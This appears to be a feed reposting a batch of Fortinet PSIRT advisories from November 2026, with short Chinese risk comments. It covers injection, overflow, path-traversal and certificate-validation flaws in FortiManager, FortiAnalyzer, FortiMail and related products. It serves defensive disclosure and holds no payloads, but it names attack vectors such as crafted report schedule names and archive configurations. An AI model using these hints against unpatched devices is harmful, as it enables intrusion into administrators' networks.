PSIRT Improper control of generation of code in GUI Summary An Improper Control of Generation of Code ('Code Injection') vulnerability [CWE-94] and a Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') vulnerability [CWE-120] in FortiManager, FortiAnalyzer, FortiManager Cloud, and FortiAnalyzer Cloud may allow a remote authenticated attacker to execute unauthorized code or commands via crafted HTTP requests. Version Affected Solution FortiAnalyzer 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiAnalyzer 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiAnalyzer 7.2 7.2.0 through 7.2.12 Upgrade to 7.2.13 or above FortiAnalyzer Cloud 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiAnalyzer Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer Cloud 7.4 7.4.1 through 7.4.11 Upgrade to 7.4.12 or above FortiAnalyzer Cloud 7.2 7.2.1 through 7.2.12 Upgrade to 7.2.13 or above FortiManager 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiManager 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiManager 7.2 7.2.0 through 7.2.12 Upgrade to 7.2.13 or above FortiManager Cloud 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiManager Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager Cloud 7.4 7.4.1 through 7.4.11 Upgrade to 7.4.12 or above FortiManager Cloud 7.2 7.2.1 through 7.2.12 Upgrade to 7.2.13 or above FortiSASE-Sovereign 26.2 26.2 all versions Fortinet remediated this issue in 26.2 (not released) and hence customers do not need to perform any action. FortiSASE-Sovereign 25.4 25.4 all versions Migrate to a fixed release FortiSASE-Sovereign 25.3 25.3 all versions Migrate to a fixed release FortiSASE-Sovereign 25 25 all versions Migrate to a fixed release The vulnerability can be exploited via the JSON API if enabled (Disabled by default) If enabled on a profile, it can be disabled it via the following configuration to reduce the attack surface: config system admin profile edit <profile name> set rpc-permit none end Acknowledgement Internally discovered and reported by Loic Pantano of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-227 Published Date Nov 10, 2026 Component API Severity High Discovered Internal Attack Type Authenticated Known Exploited No CVSSv3 Score 7.2 CVSSv3 Temporal Score 6.3 Impact Execute unauthorized code or commands CVE ID CVE-2026-126182 Download CVRF CSAF

cve代码注入缓冲区溢出rce @forti-ir 原文 ↗

管理员凭据泄露或会话被劫持后可直接转化为设备上的代码执行,属横向移动关键一环。

PSIRT Improper control of generation of code Summary A Code Injection vulnerability [CWE-94] in FortiManager, FortiManager Cloud, FortiAnalyzer and FortiAnalyzer Cloud may allow an authenticated administrator to execute unauthorized code or commands via specially crafted requests. Version Affected Solution FortiAnalyzer 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiAnalyzer 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiAnalyzer 7.2 Not affected Not Applicable FortiAnalyzer Cloud 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiAnalyzer Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer Cloud 7.4 7.4.1 through 7.4.11 Upgrade to 7.4.12 or above FortiAnalyzer Cloud 7.2 Not affected Not Applicable FortiManager 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiManager 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiManager 7.2 Not affected Not Applicable FortiManager Cloud 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiManager Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager Cloud 7.4 7.4.1 through 7.4.11 Upgrade to 7.4.12 or above FortiManager Cloud 7.2 Not affected Not Applicable Acknowledgement Internally discovered and reported by Loic Pantano of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-230 Published Date Nov 10, 2026 Component API Severity High Discovered Internal Attack Type Authenticated Known Exploited No CVSSv3 Score 7.2 Impact Execute unauthorized code or commands CVE ID CVE-2026-126185 Download CVRF CSAF

cve代码注入rce @forti-ir 原文 ↗

管理员可通过 GUI 请求读写任意文件并执行代码,能突破设备沙箱边界。

PSIRT Improper limitation of a pathname to a restricted directory Summary An External Control of File Name or Path vulnerability [CWE-22] and an Improper Neutralization of Special Elements vulnerability [CWE-74] in FortiManager, FortiManager Cloud, FortiAnalyzer, and FortiAnalyzer Cloud may allow an authenticated administrator to read or write arbitrary files or execute unauthorized code or commands via specially crafted requests to the GUI. Version Affected Solution FortiAnalyzer 8.0 8.0.0 Upgrade to 8.0.1 or above FortiAnalyzer 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiAnalyzer 7.2 Not affected Not Applicable FortiAnalyzer Cloud 8.0 8.0.0 Upgrade to 8.0.1 or above FortiAnalyzer Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer Cloud 7.4 7.4.1 through 7.4.11 Upgrade to 7.4.12 or above FortiAnalyzer Cloud 7.2 Not affected Not Applicable FortiManager 8.0 8.0.0 Upgrade to 8.0.1 or above FortiManager 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiManager 7.2 Not affected Not Applicable FortiManager Cloud 8.0 8.0.0 Upgrade to 8.0.1 or above FortiManager Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager Cloud 7.4 7.4.1 through 7.4.11 Upgrade to 7.4.12 or above FortiManager Cloud 7.2 Not affected Not Applicable Acknowledgement Internally discovered and reported by Loic Pantano of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-236 Published Date Nov 10, 2026 Component GUI Severity High Discovered Internal Attack Type Authenticated Known Exploited No CVSSv3 Score 7.2 Impact Execute unauthorized code or commands CVE ID CVE-2026-126219 CVE-2026-126220 CVE-2026-126221 Download CVRF CSAF

cve路径遍历任意文件读写 @forti-ir 原文 ↗

7.6.3 起才受影响,说明是新引入的回归缺陷,近期升级过的部署尤需核对版本。

PSIRT Improper limitation of a pathname to a restricted directory Summary An Improper Limitation of a Pathname to a Restricted Directory (CWE-22) vulnerability in FortiManager, FortiAnalyzer, FortiManager Cloud and FortiAnalyzer Cloud may allow an authenticated attacker with admin privileges to execute unauthorized code or commands via crafted requests. Version Affected Solution FortiAnalyzer 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiAnalyzer 7.6 7.6.3 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer 7.4 Not affected Not Applicable FortiAnalyzer 7.2 Not affected Not Applicable FortiAnalyzer Cloud 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiAnalyzer Cloud 7.6 7.6.3 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer Cloud 7.4 Not affected Not Applicable FortiAnalyzer Cloud 7.2 Not affected Not Applicable FortiManager 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiManager 7.6 7.6.3 through 7.6.7 Upgrade to 7.6.8 or above FortiManager 7.4 Not affected Not Applicable FortiManager 7.2 Not affected Not Applicable FortiManager Cloud 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiManager Cloud 7.6 7.6.3 through 7.6.7 Upgrade to 7.6.8 or above FortiManager Cloud 7.4 Not affected Not Applicable FortiManager Cloud 7.2 Not affected Not Applicable Acknowledgement Internally discovered and reported by Loic Pantano of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-237 Published Date Nov 10, 2026 Component API Severity High Discovered Internal Attack Type Authenticated Known Exploited No CVSSv3 Score 7.2 Impact Execute unauthorized code or commands CVE ID CVE-2026-126222 Download CVRF CSAF

cve路径遍历rce @forti-ir 原文 ↗

位于网络路径上的攻击者即可冒充 RADIUS 服务器,使基于该协议的认证链路失去可信性。

PSIRT Improper certificate validation in RADIUS protocol Summary An Improper Certificate Validation vulnerability [CWE-295] in FortiSASE Sovereign, FortiManager, Fortianalyzer, FortiManager Cloud and FortiAnalyzer Cloud RADIUS protocol may allow a MITM attacker to impersonate the radius server via a rogue RADIUS server. Version Affected Solution FortiAnalyzer 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiAnalyzer 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiAnalyzer 7.2 7.2 all versions Migrate to a fixed release FortiAnalyzer Cloud 8.0 8.0.1 Upgrade to 8.0.2 or above FortiAnalyzer Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer Cloud 7.4 7.4.1 through 7.4.11 Upgrade to 7.4.12 or above FortiAnalyzer Cloud 7.2 7.2 all versions Migrate to a fixed release FortiManager 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiManager 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiManager 7.2 7.2 all versions Migrate to a fixed release FortiManager Cloud 8.0 8.0.1 Upgrade to 8.0.2 or above FortiManager Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager Cloud 7.4 7.4.1 through 7.4.11 Upgrade to 7.4.12 or above FortiManager Cloud 7.2 7.2 all versions Migrate to a fixed release FortiSASE-Sovereign 26.2 26.2 all versions Fortinet remediated this issue in 26.2 (not released) and hence customers do not need to perform any action. FortiSASE-Sovereign 25.4 25.4 all versions Migrate to a fixed release FortiSASE-Sovereign 25.3 25.3 all versions Migrate to a fixed release FortiSASE-Sovereign 25 25 all versions Migrate to a fixed release Acknowledgement Internally discovered and reported by Loic Pantano of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-247 Published Date Nov 10, 2026 Component API Severity High Discovered Internal Attack Type Unauthenticated Known Exploited No CVSSv3 Score 7.5 Impact Improper access control CVE ID CVE-2026-126232 Download CVRF CSAF

cvemitm证书校验认证 @forti-ir 原文 ↗

触发面限于已认证管理员,实际风险主要是配置误操作下的稳定性与管理面接管。

PSIRT Heap-based buffer overflow Summary A Heap-based Buffer Overflow vulnerability [CWE-122] in FortiManager, FortiManager Cloud, FortiAnalyzer and FortiAnalyzer Cloud may allow an authenticated administrator to execute unauthorized code or commands or cause a denial of service via specially crafted JSON-RPC requests. Version Affected Solution FortiAnalyzer 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiAnalyzer 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiAnalyzer 7.2 Not affected Not Applicable FortiAnalyzer Cloud 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiAnalyzer Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer Cloud 7.4 7.4.1 through 7.4.11 Upgrade to 7.4.12 or above FortiAnalyzer Cloud 7.2 Not affected Not Applicable FortiManager 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiManager 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiManager 7.2 Not affected Not Applicable FortiManager Cloud 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiManager Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager Cloud 7.4 7.4.1 through 7.4.11 Upgrade to 7.4.12 or above FortiManager Cloud 7.2 Not affected Not Applicable Acknowledgement Internally discovered and reported by Loic Pantano of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-232 Published Date Nov 10, 2026 Component API Severity High Discovered Internal Attack Type Authenticated Known Exploited No CVSSv3 Score 7.2 Impact Execute unauthorized code or commands CVE ID CVE-2026-126212 Download CVRF CSAF

cve堆溢出拒绝服务 @forti-ir 原文 ↗

与同日多条管理面漏洞同源同期修复,属于同一批升级动作里的附带项。

PSIRT Heap-based buffer overflow Summary A Heap-based Buffer Overflow vulnerability [CWE-122] in FortiManager, FortiAnalyzer, FortiManager Cloud and FortiAnalyzer Cloud may allow an authenticated attacker with admin privileges to execute unauthorized code or commands via a crafted request. Version Affected Solution FortiAnalyzer 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiAnalyzer 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiAnalyzer 7.2 7.2.0 through 7.2.12 Upgrade to 7.2.13 or above FortiAnalyzer Cloud 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiAnalyzer Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer Cloud 7.4 7.4.1 through 7.4.11 Upgrade to 7.4.12 or above FortiAnalyzer Cloud 7.2 7.2.1 through 7.2.12 Upgrade to 7.2.13 or above FortiManager 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiManager 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiManager 7.2 7.2.0 through 7.2.12 Upgrade to 7.2.13 or above FortiManager Cloud 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiManager Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager Cloud 7.4 7.4.1 through 7.4.11 Upgrade to 7.4.12 or above FortiManager Cloud 7.2 7.2.1 through 7.2.12 Upgrade to 7.2.13 or above Acknowledgement Internally discovered and reported by Loic Pantano of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-223 Published Date Nov 10, 2026 Component API Severity High Discovered Internal Attack Type Authenticated Known Exploited No CVSSv3 Score 7.2 Impact Execute unauthorized code or commands CVE ID CVE-2026-126178 Download CVRF CSAF

cve堆溢出rce @forti-ir 原文 ↗

已认证管理员即可任意写文件,可作后续提权与持久化的跳板。

PSIRT Improper limitation of a pathname to a restricted directory in apache_mod Summary A Path Traversal vulnerability [CWE-22] in FortiManager, FortiManager Cloud, FortiAnalyzer and FortiAnalyzer Cloud may allow an authenticated administrator to write arbitrary files via a specially crafted archive. Version Affected Solution FortiAnalyzer 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiAnalyzer 7.6 7.6.2 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer 7.4 7.4.7 through 7.4.11 Upgrade to 7.4.12 or above FortiAnalyzer 7.2 7.2.10 through 7.2.12 Upgrade to 7.2.13 or above FortiAnalyzer Cloud 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiAnalyzer Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer Cloud 7.4 7.4.1 through 7.4.11 Upgrade to 7.4.12 or above FortiAnalyzer Cloud 7.2 7.2.1 through 7.2.12 Upgrade to 7.2.13 or above FortiManager 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiManager 7.6 7.6.2 through 7.6.7 Upgrade to 7.6.8 or above FortiManager 7.4 7.4.7 through 7.4.11 Upgrade to 7.4.12 or above FortiManager 7.2 7.2.10 through 7.2.12 Upgrade to 7.2.13 or above FortiManager Cloud 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiManager Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager Cloud 7.4 7.4.1 through 7.4.11 Upgrade to 7.4.12 or above FortiManager Cloud 7.2 7.2.1 through 7.2.12 Upgrade to 7.2.13 or above Acknowledgement Internally discovered and reported by Chris Magistrado of Fortinet Product Security team with the use of Frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-250 Published Date Nov 10, 2026 Component API Severity High Discovered Internal Attack Type Authenticated Known Exploited No CVSSv3 Score 7.2 Impact Execute unauthorized code or commands CVE ID CVE-2026-126235 Download CVRF CSAF

path traversalcve文件写入 @forti-ir 原文 ↗

低权限账户即可代码执行,削弱了最小权限隔离的有效性。

PSIRT Improper neutralization of special elements used in a template engine Summary A Server-Side Template Injection vulnerability [CWE-1336] in FortiManager, FortiManager Cloud, FortiAnalyzer and FortiAnalyzer Cloud may allow an authenticated attacker with restricted privileges to execute unauthorized code or commands via a specially crafted request. Version Affected Solution FortiAnalyzer 8.0 8.0.0 Upgrade to 8.0.1 or above FortiAnalyzer 7.6 Not affected Not Applicable FortiAnalyzer 7.4 Not affected Not Applicable FortiAnalyzer 7.2 Not affected Not Applicable FortiAnalyzer Cloud 8.0 8.0.0 Upgrade to 8.0.1 or above FortiAnalyzer Cloud 7.6 Not affected Not Applicable FortiAnalyzer Cloud 7.4 Not affected Not Applicable FortiAnalyzer Cloud 7.2 Not affected Not Applicable FortiManager 8.0 8.0.0 Upgrade to 8.0.1 or above FortiManager 7.6 Not affected Not Applicable FortiManager 7.4 Not affected Not Applicable FortiManager 7.2 Not affected Not Applicable FortiManager Cloud 8.0 8.0.0 Upgrade to 8.0.1 or above FortiManager Cloud 7.6 Not affected Not Applicable FortiManager Cloud 7.4 Not affected Not Applicable FortiManager Cloud 7.2 Not affected Not Applicable Acknowledgement Internally discovered and reported by David Maciejak of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-249 Published Date Nov 10, 2026 Component API Severity High Discovered Internal Attack Type Authenticated Known Exploited No CVSSv3 Score 7.2 Impact Execute unauthorized code or commands CVE ID CVE-2026-126234 Download CVRF CSAF

sstircecve @forti-ir 原文 ↗

已认证攻击者构造 HTTP 请求即可命令执行,覆盖管理与分析双产品线。

PSIRT Improper neutralization of special elements used in a template engine in fortisoc Summary A Use of Externally-Controlled Format String [CWE-134] in FortiManager, FortiAnalyzer, FortiManager Cloud and FortiAnalyzer Cloud API may allow an authenticated attacker to execute unauthorized commands via specially crafted HTTP request Version Affected Solution FortiAnalyzer 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiAnalyzer 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiAnalyzer 7.2 7.2.0 through 7.2.12 Upgrade to 7.2.13 or above FortiAnalyzer Cloud 8.0 8.0.1 Upgrade to 8.0.2 or above FortiAnalyzer Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer Cloud 7.4 7.4.1 through 7.4.11 Upgrade to 7.4.12 or above FortiAnalyzer Cloud 7.2 7.2.1 through 7.2.12 Upgrade to 7.2.13 or above FortiManager 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiManager 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiManager 7.2 7.2.0 through 7.2.12 Upgrade to 7.2.13 or above FortiManager Cloud 8.0 8.0.1 Upgrade to 8.0.2 or above FortiManager Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager Cloud 7.4 7.4.1 through 7.4.11 Upgrade to 7.4.12 or above FortiManager Cloud 7.2 7.2.1 through 7.2.12 Upgrade to 7.2.13 or above The vulnerability is limited to the jrpc api and can be mitigated by disabling it: # config system admin profile (profile)# edit <profile> (<profile>r)# set rpc-permit none (<profile>)# end # Acknowledgement Internally discovered and reported by Loic Pantano of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-220 Published Date Nov 10, 2026 Component API Severity High Discovered Internal Attack Type Authenticated Known Exploited No CVSSv3 Score 7.2 CVSSv3 Temporal Score 6.3 Impact Denial of service CVE ID CVE-2026-126171 Download CVRF CSAF

format stringrcecveapi @forti-ir 原文 ↗

需高权限先行,但波及管理端与分析端多个版本分支。

PSIRT Improper neutralization of argument delimiters in a command Summary An Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')[CWE-88] vulnerability in FortiManager,FortiAnalyzer, FortiManager Cloud, FortiAnalyzer Cloud may allow an authenticated privileged admin user to execute unauthorized code or commands. Version Affected Solution FortiAnalyzer 8.0 8.0.0 Upgrade to 8.0.1 or above FortiAnalyzer 7.6 7.6.0 through 7.6.7 Upgrade to upcoming 7.6.8 or above FortiAnalyzer 7.4 7.4.0 through 7.4.11 Upgrade to upcoming 7.4.12 or above FortiAnalyzer 7.2 7.2.0 through 7.2.12 Upgrade to upcoming 7.2.13 or above FortiAnalyzer Cloud 8.0 8.0.0 Upgrade to 8.0.1 or above FortiAnalyzer Cloud 7.6 7.6.0 through 7.6.7 Upgrade to upcoming 7.6.8 or above FortiAnalyzer Cloud 7.4 7.4.1 through 7.4.11 Upgrade to upcoming 7.4.12 or above FortiAnalyzer Cloud 7.2 7.2.1 through 7.2.12 Upgrade to upcoming 7.2.13 or above FortiManager 8.0 8.0.0 Upgrade to 8.0.1 or above FortiManager 7.6 7.6.0 through 7.6.7 Upgrade to upcoming 7.6.8 or above FortiManager 7.4 7.4.0 through 7.4.11 Upgrade to upcoming 7.4.12 or above FortiManager 7.2 7.2.0 through 7.2.12 Upgrade to upcoming 7.2.13 or above FortiManager Cloud 8.0 8.0.0 Upgrade to 8.0.1 or above FortiManager Cloud 7.6 7.6.0 through 7.6.7 Upgrade to upcoming 7.6.8 or above FortiManager Cloud 7.4 7.4.1 through 7.4.11 Upgrade to upcoming 7.4.12 or above FortiManager Cloud 7.2 7.2.1 through 7.2.12 Upgrade to upcoming 7.2.13 or above Acknowledgement Internally discovered and reported by Loic Pantano of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-239 Published Date Nov 10, 2026 Component GUI Severity High Discovered Internal Attack Type Authenticated Known Exploited No CVSSv3 Score 7.2 Impact Execute unauthorized code or commands CVE ID CVE-2026-126224 Download CVRF CSAF

命令注入cve @forti-ir 原文 ↗

邮件与录像机两类设备共用同一注入点,资产盘点需覆盖。

PSIRT Improper neutralization of special elements used in an OS command Summary An improper neutralization of special elements used in an OS Command ('OS Command Injection') vulnerability [CWE-78] in FortiMail, FortiRecorder may allow an authenticated privileged attacker to execute unauthorized code or commands via a specifically crafted archive account configuration. Version Affected Solution FortiMail 8.0 8.0.0 Upgrade to 8.0.2 or above FortiMail 7.6 7.6.0 through 7.6.4 Upgrade to 7.6.5 or above FortiMail 7.4 7.4.0 through 7.4.6 Upgrade to 7.4.7 or above FortiMail 7.2 7.2.0 through 7.2.9 Upgrade to upcoming 7.2.10 or above FortiRecorder 7.6 7.6.0 Upgrade to upcoming 7.6.3 or above FortiRecorder 7.2 7.2.0 through 7.2.11 Upgrade to upcoming 7.2.13 or above FortiRecorder 7.0 7.0.0 through 7.0.6 Upgrade to upcoming 7.0.7 or above Acknowledgement Internally discovered and reported by Sam Mckee of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-198 Published Date Nov 10, 2026 Component API Severity High Discovered Internal Attack Type Authenticated Known Exploited No CVSSv3 Score 7.2 CVSSv3 Temporal Score 7.0 Impact Execute unauthorized code or commands CVE ID CVE-2026-126146 Download CVRF CSAF

命令注入cve @forti-ir 原文 ↗

权限边界设置不当,低职能角色即可获得 root 执行能力。

PSIRT Improper neutralization of special elements used in an OS command Summary An Improper Neutralization of Special Elements used in an OS Command (“OS Command Injection”) vulnerability [CWE-78] in FortiMail may allow an authenticated administrator with system-time read-write access to execute unauthorized code or commands as root. Version Affected Solution FortiMail 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiMail 7.6 7.6.0 through 7.6.6 Upgrade to 7.6.7 or above FortiMail 7.4 7.4.0 through 7.4.8 Upgrade to 7.4.9 or above FortiMail 7.2 7.2 all versions Migrate to a fixed release Please note that Fortinet has remediated this issue on Oct 05, 2026 in FortiMail Cloud by updating all the firmwares to v7.6.7 GA or v8.0.2 GA, hence the FortiMail Cloud customers need not perform any action. Acknowledgement Internally discovered and reported by Sam Mckee of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-197 Published Date Nov 10, 2026 Component API Severity High Discovered Internal Attack Type Authenticated Known Exploited No CVSSv3 Score 7.2 Impact Execute unauthorized code or commands CVE ID CVE-2026-126145 Download CVRF CSAF

命令注入提权cve @forti-ir 原文 ↗

仅影响 HA 组件且需先认证,优先级低于同批其他条目。

PSIRT Improper neutralization of special elements used in an OS command Summary An improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability (CWE-78) in FortiAnalyzer, FortiAnalyzer Cloud, FortiManager, FortiManager Cloud system-ha plugin may allow an authenticated attacker to execute unauthorized commands via a crafted HTTP request. Version Affected Solution FortiAnalyzer 8.0 8.0.0 Upgrade to 8.0.1 or above FortiAnalyzer 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiAnalyzer 7.2 7.2 all versions Migrate to a fixed release FortiAnalyzer Cloud 8.0 Not affected Not Applicable FortiAnalyzer Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer Cloud 7.4 7.4.1 through 7.4.11 Upgrade to 7.4.12 or above FortiAnalyzer Cloud 7.2 7.2 all versions Migrate to a fixed release FortiManager 8.0 8.0.0 Upgrade to 8.0.1 or above FortiManager 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiManager 7.2 7.2 all versions Migrate to a fixed release FortiManager Cloud 8.0 Not affected Not Applicable FortiManager Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager Cloud 7.4 7.4.1 through 7.4.11 Upgrade to 7.4.12 or above FortiManager Cloud 7.2 7.2 all versions Migrate to a fixed release Acknowledgement Internally discovered and reported by Loic Pantano of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-246 Published Date Nov 10, 2026 Component CLI Severity High Discovered Internal Attack Type Authenticated Known Exploited No CVSSv3 Score 7.2 Impact Execute unauthorized code or commands CVE ID CVE-2026-126231 Download CVRF CSAF

命令注入cveha @forti-ir 原文 ↗

同一产品线同日连发多条注入漏洞,说明参数校验面仍是薄弱环节。

PSIRT Improper neutralization of special elements used in an OS command Summary An improper neutralization of special elements used in an OS Command ('OS Command Injection') vulnerability [CWE-78] in FortiAnalyzer, FortiAnalyzer Cloud, FortiManager and FortiManager Cloud may allow an authenticated privileged attacker to execute unauthorized code or commands via crafted report schedule name. Version Affected Solution FortiAnalyzer 8.0 8.0.0 Upgrade to 8.0.2 or above FortiAnalyzer 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiAnalyzer 7.2 7.2.0 through 7.2.12 Upgrade to 7.2.13 or above FortiAnalyzer Cloud 8.0 8.0.0 Upgrade to 8.0.1 or above FortiAnalyzer Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer Cloud 7.4 7.4.1 through 7.4.11 Upgrade to 7.4.12 or above FortiAnalyzer Cloud 7.2 7.2.1 through 7.2.12 Upgrade to 7.2.13 or above FortiManager 8.0 8.0.0 Upgrade to 8.0.1 or above FortiManager 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiManager 7.2 7.2.0 through 7.2.12 Upgrade to 7.2.13 or above FortiManager Cloud 8.0 8.0.0 Upgrade to 8.0.1 or above FortiManager Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager Cloud 7.4 7.4.1 through 7.4.11 Upgrade to 7.4.12 or above FortiManager Cloud 7.2 7.2.1 through 7.2.12 Upgrade to 7.2.13 or above Acknowledgement Internally discovered and reported by Loic Pantano of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-241 Published Date Nov 10, 2026 Component GUI Severity High Discovered Internal Attack Type Authenticated Known Exploited No CVSSv3 Score 7.2 Impact Execute unauthorized code or commands CVE ID CVE-2026-126226 Download CVRF CSAF

